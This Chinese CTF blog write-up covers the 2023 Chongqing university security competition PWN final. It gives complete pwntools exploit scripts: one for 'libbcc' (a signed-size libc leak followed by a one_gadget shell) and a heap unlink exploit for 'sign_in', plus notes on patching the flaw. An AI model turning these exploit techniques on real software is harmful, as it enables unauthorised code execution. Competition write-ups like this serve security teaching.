2023重庆市大学生信息安全竞赛决赛 PWN

1.libbcc

2.sign_in

3.libbcc修复

先说明,pwn那2道我感觉官方在搞我,本地都通了,远程都不通了

1.libbcc

给了libc,拖入ida分析

当v2>0可获得libc基址,v2为有符号数,但ret时转为无符号数给v5

当v5>0x1bf52时可执行任意一个函数或碎片等,如果泄露了libc,可通过onegadget来getshell

因为v2是一个有符号数,可以为负数,给它输入一个小点的负数可达到条件进入read,然后onegadget就可以getshell

EXP:

from pwn import *
from LibcSearcher import *
from pwnlib import *
context.arch="amd64"
#sh=remote("118.24.128.20",10000)
sh=process("./libbcc")
elf=ELF("./libbcc")
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()


un("choice:")
sl("1")
un("choice:")
sl("2")
un("how much?")
sl("-3000")
un("ok,here is your gift:")
jz=int(sh.recv(14),16)-libc.sym['puts']
print hex(jz)
un("choice:")
sl("2")
un("do\n")
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()

s=[0xe3afe,0xe3b01,0xe3b04]
shell=jz+s[0]
sd(p64(shell))

inter()

2.sign_in

这道题有多种解法,当时想到的是unlink

只能申请small bin或large bin,用calloc开的,会清除数据

功能2.3存在堆溢出和uaf漏洞,功能5存在shell,且程序地址没随机化,利用方式太多了,我当时使用的unlink来解,把0x602240修改为大于0x10000的值,然后本地直接get shell,远程却不让我通,正常情况,使用这种解法本地通了,远程也绝对通的。

EXP:

#coding=utf-8

from pwn import *
from LibcSearcher import *
from pwnlib import *
#sh=remote("118.24.128.20",10001)
sh=process("./sign_in")
elf=ELF("./sign_in")
#libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

def add(index,size,data):
    un("choice>>\n")
    sl("1")
    un("index>>\n")
    sl(str(index))
    un("size>>\n")
    sl(str(size))
    un("check\n")
    sd(data)

def edit(index,size,data):
    un("choice>>\n")
        sl("2")
        un("index>>\n")
        sl(str(index))
        un("size>>\n")
    sl(str(size))
    un("Ok\n")
    sd(data)

def free(index):
    un("choice>>\n")
        sl("3")
        un("index>>\n")
        sl(str(index))

def show(index):
    un("choice>>\n")
        sl("4")
        un("index>>\n")
        sl(str(index))

add(0,0x100,"a")
add(1,0x100,"a")
add(2,0x100,"a")
shell=p64(0)+p64(0x101)+p64(0x602140-0x18)+p64(0x602140-0x10)
shell=shell.ljust(0x100,"\x00")
edit(0,0x500,shell+p64(0x100)+p64(0x110))

free(1)
edit(0,0x200,"a"*0x118+p64(0x10001))
un("choice>>\n")

#pwnlib.gdb.attach(sh)
sl("5")
inter().

3.libbcc修复

fix环境其实就是修洞,需要达到两个条件即可,1.攻击脚本无法打通 2.程序必须能正常运行,不能修改程序流程

主要的漏洞点是在判断这里

这样就怎么都不会到read这里了,因为v5是怎么都能达到if的条件的

然后保存修改的后,再打包提交到服务器后就可以一直加分了

第二道堆题的修复给你们个暗示,把堆溢出和uaf修复好应该就ok了(目前我还没修完)

re那道不说了,送分题,去掉花指令就好了。

总结:学习安全不止要会挖洞,还要会修复洞(只有可执行文件的情况),都会的话这样就很巴卡了

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值